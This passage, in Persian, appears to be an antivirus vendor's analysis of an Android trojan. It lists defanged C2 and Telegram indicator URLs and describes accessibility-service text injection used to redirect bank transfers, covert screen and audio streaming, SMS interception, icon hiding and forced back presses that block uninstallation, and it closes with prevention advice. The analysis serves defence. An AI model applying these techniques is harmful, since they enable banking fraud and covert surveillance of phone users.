SCAN_URL_LIST (“https[:]//t.me/unkppapeppappe“, “https[:]//icq.im/AoLH58xYS0_leBOpXFI”, “https[:]//t.me/unk22k2k2k2“)
▪️متد t
در این متد بدافزار دستورهایی مانند اسکرینشات گرفتن، فعالسازی keylogger، فعال یا غیرفعالسازی قفل صفحه، نصب و یا حذف نصب یک برنامه خاص، ارسال پیامک، کپی کردن محتوای کلیپبورد یا تغییر آن، دریافت مخاطبان کاربر، برقراری تماس با شمارهای خاص، دریافت مجوز مورد نظر بدافزار، بهروزرسانی تنظیمات امنیتی کاربر، تغییر تنظیمات گوشی روی تلفن همراه قربانی به محض دریافت دستور متناظر با آن انجام دهد.
به عنوان مثال اگر دستور دریافت شده از C2 برابر مقدار “fillfocus” باشد:
این کد به بدافزار اجازه میدهد تا محتوای فیلد ورودی focus شده (به فیلدی در رابط کاربری که در حال حاضر فعال است) را با متن مشخص شده توسط هکر تغییر دهد. از این ویژگی می توان برای جایگزینی نامرئی ورودی قربانی با ورودی تنظیم شده توسط هکر استفاده کرد. این کد با سوء استفاده از AccessibilityService فیلد ورودی focus شده را با متن دریافتی از C2 جایگزین میکند و مقدار 2097152 یا (0x200000) کدی برای عملیات ACTION_ARGUMENT_SET_TEXT است که متن را به فیلد focus شده تزریق میکند.
این کد میتواند جهت پیادهسازی حملات ATS (سیستم تراکنش خودکار) مورد استفاده قرارگیرد که در آن بدافزار تعاملات کاربر را برای خودکارسازی اقدامات غیر مجاز مانند پر کردن فرمها یا ارسال تراکنش شبیهسازی میکند و مثلا در یک فرآیند انتقال بانکی به جای شماره حساب بانک انتخابی کاربر، شماره حساب مورد نظر هکر قرار می گیرد.
🔷 سرویس DisplayServiceJava
این سرویس مربوط به اشتراکگذاری صفحه نمایش یا streaming می باشد. اصطلاح streaming به فرآیند پخش زنده یا پخش محتوای چند رسانهای به صورت آنلاین اشاره دارد. سرویس بدافزار، شامل اجزاء و متدهای مختلفی است که به پخش رسانه، ضبط صدا و network streaming میپردازد. این سرویس بخشی از یک ابزار نظارت یا کنترل غیر مجاز است.
▪️متد onStartCommand
در این متد ضبط صفحه یا streaming با ضبط بالقوه صدا آغاز و مقادیر پیکربندی مانند نقطه پایانی، ارتفاع، فریم در ثانیه (FPS)، نرخ بیت و پارامترهای DPI و تنظیمات صدا از شی intent0 بازیابی میشوند. این تنظیمات کیفیت ویدیو و صدا و همچنین ویژگیهای نمایش مورد استفاده در ضبط صفحه نمایش را کنترل میکنند. سپس صفحه نمایش و تنظیمات صوتی مورد نیاز برای ضبط یا پخش را پیکربندی میکند.
سپس بدافزار بررسی میکند که آیا شرایط لازم برای شروع ضبط وجود دارد یا خیر. در این صورت، اشیایی مانند MediaProjection (یک API اندروید برای ضبط صفحه) و نمایش مجازی را مقداردهی اولیه میکند. در ادامه یک کلاس اضافی (x2.a) را برای مدیریت تصویربرداری از صفحه، پیکربندی میکند. اگر صدا فعال باشد، ضبط صدا همزمان با ضبط صفحه شروع میشود.
در نهایت بدافزار بررسی میکند که آیا نقطه پایانی جریان (displayServiceJava0.a) یک URL معتبر است یا خیر و در این صورت، اجزایی مانند پروتکل، میزبان و پورت را تجزیه میکند و آنها را در برابر مقادیر از پیش تعریف شده تأیید میکند. پس از راهاندازی، یک سرویس پسزمینه برای مدیریت پخش یا ضبط واقعی راهاندازی میکند.
▪️ PhoneStateReceiver
در متد onReceive بدافزار به پیامهای SMS دریافتی گوش میدهد. بدافزار ابتدا اطمینان حاصل میکند که intent اکشن دریافت پیامک است و ردیابی پیامک در تنظیمات فعال است، سپس جزئیات پیام از جمله شماره تلفن فرستنده و محتوای کامل پیام را بازیابی میکند. یک متد ثبت یا پردازش را ((متد N)) برای ذخیره یا مدیریت دادههای پیامک (sender, content, timestamp) فراخوانی میکند. به طور کلی این Receiver پیامهای SMS را هنگام رسیدن به شرط فعال بودن ردیابی، ضبط و ثبت میکند.
تکنیکهای بدافزار
بدافزار بعد از اجرا شدن، آیکون خود را پنهان میکند. علاوه بر این همانطور که در تصویر زیر قابل مشاهده است، این بدافزار در متد a اساساً به عنوان یک میانبر برای بازگرداندن کاربر به صفحه اصلی عمل میکند که میتواند جهت خروج از یک برنامه یا UI و بازگرداندن کاربر به صفحه پیش فرض استفاده شود.
فلگ 268435456 مربوط به Intent.FLAG_ACTIVITY_NEW_TASK است. این فلگ لازم است تا اکتیویتی مقصد (در اینجا صفحه اصلی یا Home screen) بتواند اجرا شود. بدافزار تلاش میکند که کاربر را به صفحه اصلی (Home) هدایت کند که برای انجام این کار از FLAG_ACTIVITY_NEW_TASK استفاده میکند تا این تغییر به درستی انجام شود، حتی اگر این درخواست از یک سرویس یا بخشی خارج از اکتیویتیها باشد.
در متد b متد performGlobalAction(1) را چهار بار در یک حلقه اجرا میکند که اجرای عمل “back” یا برگشت در گوشی کاربر شبیهسازی میکند. شبیهسازی دکمه برگشت را برای خروج اجباری از یک برنامه یا خروج از صفحه حساسی مانند تنظیمات گوشی که کاربر نتواند بدافزار را از گوشی خود حذف کند، میتوان استفاده کرد.
روش مقابله و پاکسازی سیستم
برای ایجاد اطمینان از عدم آلودگی دستگاه، آنتیویروس پادویش را نصب و فایل پایگاه داده آن را به روز نگهدارید و اسکن آنتیویروس را انجام دهید.
روشهای پیشگیری از آلودگی تلفن همراه:
- هنگام نصب اپلیکیشنهای تلفن همراه، به مجوزهای درخواستی آن دقت کنید. اگر برنامهای مجوزهای غیرمرتبط با فعالیت برنامه به ویژه مجوز accessibility service را درخواست کرد، در استفاده از آن حتما احتیاط کنید.
- تلفن همراه خود را به روز نگه دارید، آن را در حالت ایدهآل تنظیم کنید تا به صورت خودکار به روز شود.
- از دانلود و نصب برنامه از منابع و مارکتهای موبایلی نامعتبر خودداری کنید.
- از فایلها و اطلاعات مهم موجود در گوشی خود، به طور مستمر پشتیبانگیری کنید.
- از نسخههای غیر رسمی برنامهها استفاده نکنید.